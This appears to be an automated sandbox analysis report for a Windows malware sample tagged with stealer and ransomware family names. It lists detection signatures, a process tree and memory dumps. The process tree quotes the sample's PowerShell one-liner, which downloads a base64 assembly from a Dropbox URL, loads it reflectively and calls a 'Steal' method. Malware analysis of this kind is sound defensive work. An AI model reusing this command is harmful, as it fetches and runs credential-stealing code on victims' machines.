Analysis
- max time kernel
148s - max time network
145s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
29/09/2026, 15:03
General
- Target 2026-09-29_e06ae679d575963cc59a98a59926240f_akira_cobalt-strike_icedid_rusty-stealer_satacom.exe
- Size 650KB
- Sample260929-se64xsty3k
- SHA256 545cc3348e4b3e3eaa89344ab39b27284fbae6690d3b2cd1f599de2e43a3c84a
Malware Config
Signatures
- Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 19 IoCs
- Detects executables containing URLs to raw contents of a Github gist 19 IoCs
- Detects executables packed with ConfuserEx Mod 1 IoCs
- Detects executables referencing many IR and analysis tools 18 IoCs
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Drops desktop.ini file(s) 1 IoCs
- Enumerates connected drives 3 TTPs 6 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 2 IoCs
- Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Enumerates system info in registry 2 TTPs 6 IoCs
- Suspicious behavior: EnumeratesProcesses 12 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 12 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-09-29_e06ae679d575963cc59a98a59926240f_akira_cobalt-strike_icedid_rusty-stealer_satacom.exe"C:\Users\Admin\AppData\Local\Temp\2026-09-29_e06ae679d575963cc59a98a59926240f_akira_cobalt-strike_icedid_rusty-stealer_satacom.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy RemoteSigned -Command " if((Get-Process -Name ekrn -ErrorAction SilentlyContinue) -eq $null){[Reflection.Assembly]::Load([Convert]::FromBase64String((Invoke-RestMethod 'https://www.dropbox.com/scl/fi/1h0ykginoto5u4z0yvwvx/mogling?rlkey=mpass52bkm1a0fbs9ag2cpix1&st=813b4ttj&dl=1'))).GetType('Big.File')::Steal()} "2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Hide Artifacts: Ignore Process Interrupts
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c plasrv.exe3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\plasrv.exeplasrv.exe4⤵
- Drops desktop.ini file(s)
- Enumerates connected drives
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/2484-75-0x0000018AC6170000-0x0000018AC620F000-memory.dmp
memory/2484-42-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp
memory/2484-36-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp
memory/2484-37-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp
memory/2484-29-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp
memory/2484-134-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp
memory/2484-140-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp
memory/2484-136-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp
memory/2484-129-0x0000018AC6170000-0x0000018AC620F000-memory.dmp
memory/2484-128-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp
memory/2484-127-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp
memory/2484-126-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp
memory/2484-125-0x0000018AC6170000-0x0000018AC620F000-memory.dmp
memory/2484-112-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp
memory/2484-117-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp
memory/2484-118-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp
memory/2484-35-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp
memory/2484-34-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp
memory/2484-33-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp
memory/2484-32-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp
memory/2484-31-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp
memory/2484-30-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp
memory/2484-28-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp
memory/2484-27-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp
memory/2484-26-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp
memory/2484-38-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp
memory/2484-39-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp
memory/2484-41-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp
memory/2484-74-0x0000018AC6170000-0x0000018AC620F000-memory.dmp
memory/2484-44-0x0000018AC4EA0000-0x0000018AC4EA1000-memory.dmp
memory/2484-120-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp
memory/2484-114-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp
memory/2484-115-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp
memory/2484-116-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp
memory/2484-72-0x0000018AC6170000-0x0000018AC620F000-memory.dmp
memory/2484-123-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp
memory/2484-69-0x0000018AC6170000-0x0000018AC620F000-memory.dmp
memory/2484-70-0x0000018AC6220000-0x0000018AC6221000-memory.dmp
memory/2484-25-0x0000018AC3510000-0x0000018AC3511000-memory.dmp
memory/2484-18-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp
memory/2484-119-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp
memory/2484-73-0x0000018AC6170000-0x0000018AC620F000-memory.dmp
memory/2484-71-0x0000018AC6170000-0x0000018AC620F000-memory.dmp
memory/2484-85-0x0000018AC6170000-0x0000018AC620F000-memory.dmp
memory/2484-87-0x0000018AC6170000-0x0000018AC620F000-memory.dmp
memory/2484-81-0x0000018AC6170000-0x0000018AC620F000-memory.dmp
memory/2484-79-0x0000018AC6170000-0x0000018AC620F000-memory.dmp
memory/2484-86-0x0000018AC6170000-0x0000018AC620F000-memory.dmp
memory/2484-83-0x0000018AC6170000-0x0000018AC620F000-memory.dmp
memory/2484-84-0x0000018AC6170000-0x0000018AC620F000-memory.dmp
memory/2484-82-0x0000018AC6170000-0x0000018AC620F000-memory.dmp
memory/2484-80-0x0000018AC6170000-0x0000018AC620F000-memory.dmp
memory/2484-78-0x0000018AC6170000-0x0000018AC620F000-memory.dmp
memory/2484-94-0x0000018AC6170000-0x0000018AC620F000-memory.dmp
memory/2484-101-0x0000018AC4F00000-0x0000018AC4FA4000-memory.dmp
memory/2484-105-0x0000018AC6170000-0x0000018AC620F000-memory.dmp
memory/2484-110-0x0000018AC6B70000-0x0000018AC6B71000-memory.dmp
memory/2484-109-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp
memory/2484-122-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp
memory/2484-111-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp
memory/2484-121-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp
memory/2484-124-0x0000018AC6A60000-0x0000018AC6B5D000-memory.dmp
memory/4404-9-0x00007FF8213B0000-0x00007FF821D54000-memory.dmp
memory/4404-10-0x00007FF8213B0000-0x00007FF821D54000-memory.dmp
memory/4404-17-0x00000239EC870000-0x00000239EC874000-memory.dmp
memory/4404-16-0x00000239EC850000-0x00000239EC86A000-memory.dmp
memory/4404-14-0x00007FF8213B0000-0x00007FF821D54000-memory.dmp
memory/4404-13-0x00007FF8213B0000-0x00007FF821D54000-memory.dmp
memory/4404-12-0x00007FF8213B0000-0x00007FF821D54000-memory.dmp
memory/4404-47-0x00007FF8213B0000-0x00007FF821D54000-memory.dmp
memory/4404-15-0x00000239ECE20000-0x00000239ECFE2000-memory.dmp
memory/4404-8-0x00007FF8213B0000-0x00007FF821D54000-memory.dmp
memory/4404-11-0x00007FF8213B0000-0x00007FF821D54000-memory.dmp
memory/4404-7-0x00007FF8213B0000-0x00007FF821D54000-memory.dmp
memory/4404-6-0x00007FF8213B0000-0x00007FF821D54000-memory.dmp
memory/4404-5-0x00007FF8213B0000-0x00007FF821D54000-memory.dmp
memory/4404-4-0x00000239D4510000-0x00000239D4532000-memory.dmp
memory/4404-1-0x00007FF8213B0000-0x00007FF821D54000-memory.dmp
memory/4404-0-0x00007FF82153F000-0x00007FF821540000-memory.dmp